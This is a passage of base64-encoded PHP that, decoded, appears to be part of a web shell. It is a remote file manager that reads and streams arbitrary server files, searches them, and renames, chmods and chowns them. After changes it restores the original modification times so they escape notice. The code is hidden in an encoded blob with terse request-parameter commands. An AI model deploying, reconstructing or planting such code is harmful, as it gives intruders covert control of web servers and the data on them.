XMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPSBUUlVFOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJyInLCAkaywgJyI6JzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobyhnTmFtZSgkaykpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnfSc7CiAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRiID09PSBGQUxTRSkgewogICAgICAgICAgICAgICAgJHAgPSBOVUxMOwogICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghaXNzZXQoJGYtPmZwKSkKICAgICAgICAgICAgICAgICRmID0gbmV3IEZpbGVJbmZvKCRmKTsKICAgICAgICAgICAgaWYgKCRwID09PSAkZi0+Z2V0UGF0aCgpKQogICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICRwID0gJGYtPmdldFBhdGgoKTsKICAgICAgICAgICAganNvbkZpbGVJbmZvKCRmLCBGQUxTRSk7CiAgICAgICAgICAgIGlmIChOSVgpIHsKICAgICAgICAgICAgICAgICRvWyRmLT5nZXRPd25lcigpXSA9IDE7CiAgICAgICAgICAgICAgICAkZ1skZi0+Z2V0R3JvdXAoKV0gPSAxOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIG91dEZpbGUoJHApIHsKCiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvXC5neiQvaScsICRwKSkgewogICAgICAgICAgICAgICAgaWYgKGlzX2ludChyZWFkZ3pmaWxlKCRwKSkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmICgkdiA9IGd6b3BlbigkcCkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX2ludChnenBhc3N0aHJ1KCR2KSkpCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICghZ3plb2YoJHYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBnenJlYWQoJHYsIDEwNDg1NzYpOwogICAgICAgICAgICAgICAgICAgIGd6Y2xvc2UoJHYpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZiAoJHYgPSBnemZpbGUoJHApKSB7CiAgICAgICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkdikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQkJCQkJCQogICAgICAgICAgICBpZiAoUk8gJiYgaXNfaW50KHJlYWRmaWxlKCRwKSkpewogICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CgkJCX0KCiAgICAgICAgICAgIGlmIChSTyAmJiBjb3B5KCRwLCAncGhwOi8vb3V0cHV0JykpCiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgCiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoJHYgPSBmb3BlbigkcCwgJ3JiJykpIHsKICAgICAgICAgICAgICAgIGlmICghaXNfaW50KGZwYXNzdGhydSgkdikpKQogICAgICAgICAgICAgICAgICAgIHdoaWxlICghZmVvZigkdikpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gZnJlYWQoJHYsIDEwNDg1NzYpOwogICAgICAgICAgICAgICAgZmNsb3NlKCR2KTsKICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNS4xJykgewogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gbmV3IFNwbEZpbGVPYmplY3QoJHAsICdyYicpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdikgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX2ludCgkdi0+ZnBhc3N0aHJ1KCkpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCEkdi0+ZW9mKCkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkdi0+ZmdldHMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdW5zZXQoJHYpOwogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGVuZGlmOwogICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzQuMycpIHsKICAgICAgICAgICAgICAgICR2ID0gZmlsZV9nZXRfY29udGVudHMoJHApOwogICAgICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkdikpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICR2OwogICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICR2ID0gZmlsZSgkcCk7CiAgICAgICAgICAgIGlmIChpc19hcnJheSgkdikpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJGk7CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJERbJ3MnXSkpIHsKICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAkZSA9ICd7ImUiOiJZb3UgaGF2ZSBzeW50YXggZXJyb3IgaW4gJXMgcGF0dGVybiJ9JzsKICAgICAgICAgICAgaWYgKGlzc2V0KCREWyduJ10pKSB7CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJERbJ3cnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkciA9ICcjXic7CiAgICAgICAgICAgICAgICAgICAgJGMgPSAnJzsKICAgICAgICAgICAgICAgICAgICAkcCA9ICcnOwogICAgICAgICAgICAgICAgICAgICRxID0gMDsKICAgICAgICAgICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwLCAkbCA9IHN0cmxlbigkRFsnbiddKTsgJGkgPCAkbDsgKyskaSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYyA9ICREWyduJ11bJGldOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHEgPiAwICYmICRjICE9PSAnPycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyIC49ICcuJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcSA+IDEpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHIgLj0gJ3snIC4gJHEgLiAnfSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkYykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnKic6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRjICE9PSAkcCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHIgLj0gJy4qJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJz8nOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICsrJHE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdcXCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpICsgMSA+PSAkbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RpZShzcHJpbnRmKCRlLCAnbmFtZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkciAuPSAkYyAuICREWyduJ11bKyskaV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdbJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICArKyRiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyIC49ICRjOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnXSc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLS0kYjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkciAuPSAkYzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJy0nOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyIC49ICRiID4gMCA/ICRjIDogJ1xcLSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICchJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkciAuPSAkcCA9PT0gJ1snID8gJ14nIDogJ1xcISc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyIC49IGFkZGNzbGFzaGVzKCRjLCAnLiteJCgpe309PD58OiMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkcCA9ICRjOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoJHEgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRyIC49ICcuJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRxID4gMSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyIC49ICd7JyAuICRxIC4gJ30nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkciAuPSAnJCMnOwogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsnaSddKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHIgLj0gJ2knOwogICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCRyLCAnJykgPT09IEZBTFNFKQogICAgICAgICAgICAgICAgICAgICAgICBzRGllKHNwcmludGYoJGUsICduYW1lJykpOwogICAgICAgICAgICAgICAgICAgICRhWydyJ10gPSAkcjsKICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc3NldCgkRFsnaSddKSkKICAgICAgICAgICAgICAgICAgICAkYVsnaSddID0gJERbJ24nXTsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAkYVsnbiddID0gJERbJ24nXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoaXNzZXQoJERbJ3QnXSkpIHsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsneCddKSkgewogICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcjJyAuICREWyd4J10gLiAnIycsICcnKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgIHNEaWUoc3ByaW50ZigkZSwgJ3RleHQnKSk7CiAgICAgICAgICAgICAgICAgICAgJGFbJ3gnXSA9ICcjJyAuICREWyd0J10gLiAnIyc7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCREWyd2J10pKQogICAgICAgICAgICAgICAgICAgICAgICAkYVsneCddIC49ICdpJzsKICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc3NldCgkRFsndiddKSkKICAgICAgICAgICAgICAgICAgICAkYVsndiddID0gJERbJ3QnXTsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAkYVsndCddID0gJERbJ3QnXTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkaSA9IGFycmF5KAogICAgICAgICAgICAgICAgJ2wnLAogICAgICAgICAgICAgICAgJ2QnLAogICAgICAgICAgICAgICAgJ3knLAogICAgICAgICAgICAgICAgJ3AnLAogICAgICAgICAgICAgICAgJ3UnCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRpIGFzICRrKQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCREWyRrXSkpCiAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gKGludCkgJERbJGtdOwogICAgICAgICAgICAkaSA9IGFycmF5KAogICAgICAgICAgICAgICAgJ28nLAogICAgICAgICAgICAgICAgJ2cnLAogICAgICAgICAgICAgICAgJ3onCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRpIGFzICRrKQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCREWyRrXSkpIHsKICAgICAgICAgICAgICAgICAgICAkcyA9IGV4cGxvZGUoJywnLCAkRFska10pOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRzIGFzICRuID0+ICR2KQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCR2LCAnLScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdiAgICAgICAgID0gZXhwbG9kZSgnLScsICR2LCAyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRrXVskbl0gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoaW50KSAkdlswXSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoaW50KSAkdlsxXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKHN1YnN0cih0cmltKCR2KSwgMCwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICc+JzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdWyRuXVswXSA9IChpbnQpIHN1YnN0cih0cmltKCR2KSwgMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJzwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVska11bJG5dWzFdID0gKGludCkgc3Vic3RyKHRyaW0oJHYpLCAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdWyRuXSA9IChpbnQpICR2OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgJGkgPSBhcnJheSgKICAgICAgICAgICAgICAgICdlJywKICAgICAgICAgICAgICAgICdtJwogICAgICAgICAgICApOwogICAgICAgICAgICBmb3JlYWNoICgkaSBhcyAkaykKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFska10pKSB7CiAgICAgICAgICAgICAgICAgICAgJHMgPSBleHBsb2RlKCcsJywgJERbJGtdKTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcyBhcyAkbiA9PiAkdikKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHN0cnBvcygnIC0gJywgJHYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdiAgICAgICAgID0gZXhwbG9kZSgnIC0gJywgJHYsIDIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdWyRuXSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cnRvdGltZSh0cmltKCR2WzBdKSAuICdVVEMnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJ0b3RpbWUodHJpbSgkdlsxXSkgLiAnVVRDJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoIChzdWJzdHIodHJpbSgkdiksIDAsIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnPic6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRrXVskbl1bMF0gPSBzdHJ0b3RpbWUoc3Vic3RyKHRyaW0oJHYpLCAxKSAuICdVVEMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnPCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRrXVskbl1bMV0gPSBzdHJ0b3RpbWUoc3Vic3RyKHRyaW0oJHYpLCAxKSAuICdVVEMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdWyRuXSA9IHN0cnRvdGltZSh0cmltKCR2KSAuICdVVEMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICRzID0gbmV3IFNlYXJjaGVyKCRhKTsKICAgICAgICAgICAgZm9yZWFjaCAoJERbJ3MnXSBhcyAkdikKICAgICAgICAgICAgICAgICRzLT5zZWFyY2goJHYpOwogICAgICAgICAgICAkcy0+ZmluaXNoKCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnZyddKSkgewogICAgICAgICAgICBpZiAoJERbJ2cnXSA9PT0gJ34nIHx8ICREWydnJ10gPT09ICcnKQogICAgICAgICAgICAgICAgJERbJ2cnXSA9IHNlbGZQYXRoKCk7CiAgICAgICAgICAgICRpID0gbmV3IEZpbGVJbmZvKCREWydnJ10pOwogICAgICAgICAgICBpZiAoc3Vic3RyKCREWydnJ10sIC0xKSA9PT0gRFNDIHx8ICRpLT5pc0RpcigpKSB7CiAgICAgICAgICAgICAgICBlY2hvICd7InAiOic7CiAgICAgICAgICAgICAgICBpZiAoc3Vic3RyKCREWydnJ10sIC0xKSAhPT0gRFNDKQogICAgICAgICAgICAgICAgICAgICREWydnJ10gLj0gRFNDOwogICAgICAgICAgICAgICAganNvbkVjaG8oJERbJ2cnXSk7CiAgICAgICAgICAgICAgICBlY2hvICcsIm0iOicsICRpLT5nZXRNb2RlKCksICcsImYiOlsnOwogICAgICAgICAgICAgICAgZGlyUmVhZCgkaS0+Z2V0UGF0aE5hbWUoKSwgJ291dEZpbGVJbmZvJyk7CiAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgICAgIG91dEZpbGVJbmZvKE5VTEwsIFRSVUUpOwogICAgICAgICAgICAgICAgc0RpZSgnfScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gIlx4MDFceDAyIjsKICAgICAgICAgICAgJGIgPSBvdXRGaWxlKCREWydnJ10pOwogICAgICAgICAgICBlY2hvICJceDAzXHgxRSI7CiAgICAgICAgICAgIGlmICgkYikgewogICAgICAgICAgICAgICAgZWNobyAiXHgwNlsiOwogICAgICAgICAgICAgICAganNvbkVjaG8oJERbJ2cnXSk7CiAgICAgICAgICAgICAgICBlY2hvICcsJywgJGktPmdldE1vZGUoKSwgJ10nOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgIGVjaG8gIlx4MTUiLCAkRFsnZyddOwogICAgICAgICAgICBzRGllKCJceDE3XHgwNFx4MTAiKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCREWydpJ10pKSB7CiAgICAgICAgICAgIGpzb25GaWxlSW5mbyhuZXcgRmlsZUluZm8oJERbJ2knXSksIFRSVUUpOwogICAgICAgICAgICBzRGllKCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnaCddKSkgewogICAgICAgICAgICBlY2hvICd7JzsKICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAkdCA9IGFycmF5KCk7CiAgICAgICAgICAgICRlID0gYXJyYXkoKTsKICAgICAgICAgICAgJGIgPSBOVUxMOwogICAgICAgICAgICAkbSA9IGNvdW50KCREWydoJ10pID4gMTsKICAgICAgICAgICAgaWYgKCRtICYmIGlzc2V0KCREWydwJ10pICYmIHN1YnN0cigkRFsncCddLCAtMSkgIT09IERTQykKICAgICAgICAgICAgICAgICREWydwJ10gLj0gRFNDOwogICAgICAgICAgICBpZiAoaXNzZXQoJERbJ3QnXSkpCiAgICAgICAgICAgICAgICAkRFsndCddID0gc3RydG90aW1lKCREWyd0J10gLiAnVVRDJyk7CiAgICAgICAgICAgIGlmIChpc3NldCgkRFsnZSddKSkKICAgICAgICAgICAgICAgICREWydlJ10gPSBpbnR2YWwoJERbJ2UnXSwgOCk7CiAgICAgICAgICAgIGlmIChpc3NldCgkRFsnciddKSAmJiBpc0ludCgkRFsnciddKSkKICAgICAgICAgICAgICAgICREWydyJ10gPSAoaW50KSAkRFsnciddOwogICAgICAgICAgICBpZiAoaXNzZXQoJERbJ28nXSkgJiYgaXNJbnQoJERbJ28nXSkpCiAgICAgICAgICAgICAgICAkRFsnbyddID0gKGludCkgJERbJ28nXTsKICAgICAgICAgICAgc29ydCgkRFsnaCddKTsKICAgICAgICAgICAgZm9yZWFjaCAoJERbJ2gnXSBhcyAkdikgewogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCREWydwJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgcGFyc2VQYXRoKCR2LCAkcywgJG4pOwogICAgICAgICAgICAgICAgICAgIGlmICgkbSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICREWydwJ107CiAgICAgICAgICAgICAgICAgICAgICAgICRwID0gJGQgLiAkbjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZCA9IGZpbGVQYXRoKCREWydwJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAkcCA9ICREWydwJ107CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCR0WyRzXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSBuZXcgRmlsZUluZm8oJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAkaSA9ICRpLT5nZXRNVGltZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY1skc10gPSAkaTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkdFskZF0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gbmV3IEZpbGVJbmZvKCRkKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSAkaS0+Z2V0TVRpbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNbJGRdID0gJGk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gJHRbJGRdOwogICAgICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJERbJ3QnXSkgJiYgJGkpCiAgICAgICAgICAgICAgICAgICAgICAgICRjWyRwXSA9ICRpOwogICAgICAgICAgICAgICAgICAgIGlmIChyZW5hbWUoJHYsICRwKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHMgIT09ICRiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRiID09PSBOVUxMID8gJyJyIjpbJyA6ICddfSwnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAneyJwIjonOwogICAgICAgICAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJmIjpbJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID0gJHM7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCRuKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHQgKz0gJGM7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ICAgICA9ICRwOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskcF0gPSAxOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkZVskdl1bXSA9ICdwYXRoJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsndCddKSkgewogICAgICAgICAgICAgICAgICAgIGlmICh0b3VjaCgkdiwgJERbJ3QnXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSA9IDE7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkZVskdl1bXSA9ICdtb2RpZmllZCBkYXRlJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsnZSddKSkgewogICAgICAgICAgICAgICAgICAgIGlmIChjaG1vZCgkdiwgJERbJ2UnXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSA9IDE7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkZVskdl1bXSA9ICdwZXJtaXNzaW9uJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsnciddKSkgewogICAgICAgICAgICAgICAgICAgIGlmIChjaGdycCgkdiwgJERbJ3InXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSA9IDE7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkZVskdl1bXSA9ICdncm91cCc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJERbJ28nXSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoY2hvd24oJHYsICREWydvJ10pKQogICAgICAgICAgICAgICAgICAgICAgICAkYVskdl0gPSAxOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGVbJHZdW10gPSAnb3duZXInOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRiID0gJGIgIT09IE5VTEw7CiAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgIGVjaG8gJ119XSc7CiAgICAgICAgICAgIGlmIChjb3VudCgkYSkgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgJGIgPSBUUlVFOwogICAgICAgICAgICAgICAgZWNobyAnImMiOlt7InAiOic7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkdCBhcyAkayA9PiAkdikKICAgICAgICAgICAgICAgICAgICB0b3VjaCgkaywgJHYpOwogICAgICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsKICAgICAgICAgICAgICAgIGtzb3J0KCRhKTsKICAgICAgICAgICAgICAgICRwID0gTlVMTDsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICR2ID0+ICRrKSB7CiAgICAgICAgICAgICAgICAgICAgJGsgPSBmaWxlUGF0aCgkdik7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRrICE9PSAkcCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHAgIT09IE5VTEwpCiAgICAgICAgICAgICA